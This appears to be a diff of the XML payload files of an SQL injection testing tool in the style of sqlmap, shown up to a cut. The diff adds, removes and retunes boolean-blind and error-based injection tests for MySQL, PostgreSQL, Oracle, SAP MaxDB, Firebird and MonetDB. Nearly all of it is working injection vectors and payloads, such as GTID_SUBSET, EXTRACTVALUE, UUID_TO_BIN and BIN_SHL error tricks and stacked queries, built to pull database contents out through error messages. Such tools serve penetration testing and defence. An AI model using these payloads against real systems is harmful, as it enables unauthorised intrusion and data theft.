<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
|
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
@@ -1445,27 +1405,6 @@ Tag: <test>
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL < 5.0 boolean-based blind - Stacked queries</title>
|
|
||||||
<stype>1</stype>
|
|
||||||
<level>5</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>1-8</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
|
||||||
<request>
|
|
||||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
|
||||||
<comment>#</comment>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>< 5.0</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL boolean-based blind - Stacked queries</title>
|
<title>PostgreSQL boolean-based blind - Stacked queries</title>
|
||||||
<stype>1</stype>
|
<stype>1</stype>
|
||||||
@@ -1596,13 +1535,13 @@ Tag: <test>
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END</vector>
|
<vector>;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END</payload>
|
<payload>;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL</payload>
|
||||||
<comment>--</comment>
|
<comment>--</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END</comparison>
|
<comparison>;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL</comparison>
|
||||||
</response>
|
</response>
|
||||||
<details>
|
<details>
|
||||||
<dbms>SAP MaxDB</dbms>
|
<dbms>SAP MaxDB</dbms>
|
||||||
|
|||||||
+480
-130
@@ -2,6 +2,137 @@
|
|||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
<!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
||||||
|
<!-- GTID_SUBSET before EXTRACTVALUE: its error reflects ~200 chars vs ~31, so far fewer requests -->
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<!-- UUID_TO_BIN backup (MySQL 8.0+, exclusive): ~128-char echo vs EXTRACTVALUE's ~31 if GTID_SUBSET is filtered -->
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 8.0</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 8.0</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<!-- These work as good as ELT(), but are longer
|
||||||
|
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
||||||
|
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||||
|
-->
|
||||||
|
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.1</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<!-- These work as good as ELT(), but are longer
|
||||||
|
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
||||||
|
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||||
|
-->
|
||||||
|
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.1</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
|
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -91,46 +222,6 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
|
||||||
<stype>2</stype>
|
|
||||||
<level>4</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>1,2,3,8,9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
|
||||||
<request>
|
|
||||||
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>>= 5.6</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
|
||||||
<stype>2</stype>
|
|
||||||
<level>4</level>
|
|
||||||
<risk>3</risk>
|
|
||||||
<clause>1,8,9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
|
||||||
<request>
|
|
||||||
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>>= 5.6</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -175,7 +266,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>4</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -199,7 +290,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
||||||
@@ -222,7 +313,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
@@ -241,55 +332,6 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
|
||||||
<stype>2</stype>
|
|
||||||
<level>1</level>
|
|
||||||
<risk>1</risk>
|
|
||||||
<clause>1,2,3,8,9</clause>
|
|
||||||
<where>1</where>
|
|
||||||
<vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
|
||||||
<request>
|
|
||||||
<!-- These work as good as ELT(), but are longer
|
|
||||||
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
|
||||||
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
-->
|
|
||||||
<payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>>= 5.1</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
|
||||||
<title>MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
|
||||||
<stype>2</stype>
|
|
||||||
<level>1</level>
|
|
||||||
<risk>3</risk>
|
|
||||||
<clause>1,2,3,8,9</clause>
|
|
||||||
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
|
||||||
<where>1</where>
|
|
||||||
<vector>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
|
||||||
<request>
|
|
||||||
<!-- These work as good as ELT(), but are longer
|
|
||||||
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
|
||||||
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
-->
|
|
||||||
<payload>OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
</request>
|
|
||||||
<response>
|
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
|
||||||
</response>
|
|
||||||
<details>
|
|
||||||
<dbms>MySQL</dbms>
|
|
||||||
<dbms_version>>= 5.1</dbms_version>
|
|
||||||
</details>
|
|
||||||
</test>
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title>
|
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -342,7 +384,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -367,7 +409,7 @@
|
|||||||
<!-- It does not work against ORDER BY or GROUP BY clause -->
|
<!-- It does not work against ORDER BY or GROUP BY clause -->
|
||||||
<title>MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
<title>MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>5</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -392,7 +434,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
<title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>4</level>
|
<level>5</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1,8,9</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
@@ -593,7 +635,7 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1,9</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
<vector>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
<payload>OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
@@ -608,7 +650,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
<title>Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>4</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -628,7 +670,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
<title>Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1,9</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
@@ -686,7 +728,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
<title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>4</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -705,7 +747,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
<title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>4</level>
|
<level>2</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1,9</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
@@ -728,9 +770,10 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<!-- BIN_SHL (Firebird-exclusive) encloses the value-bearing BIGINT cast: reflects on Firebird, fails to bind elsewhere -->
|
||||||
|
<vector>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
|
<payload>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -747,9 +790,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
|
<payload>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -766,9 +809,10 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<!-- ms_trunc (MonetDB-exclusive) encloses the value-bearing DECIMAL cast: reflects on MonetDB, fails to bind elsewhere -->
|
||||||
|
<vector>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
<payload>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
@@ -785,9 +829,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
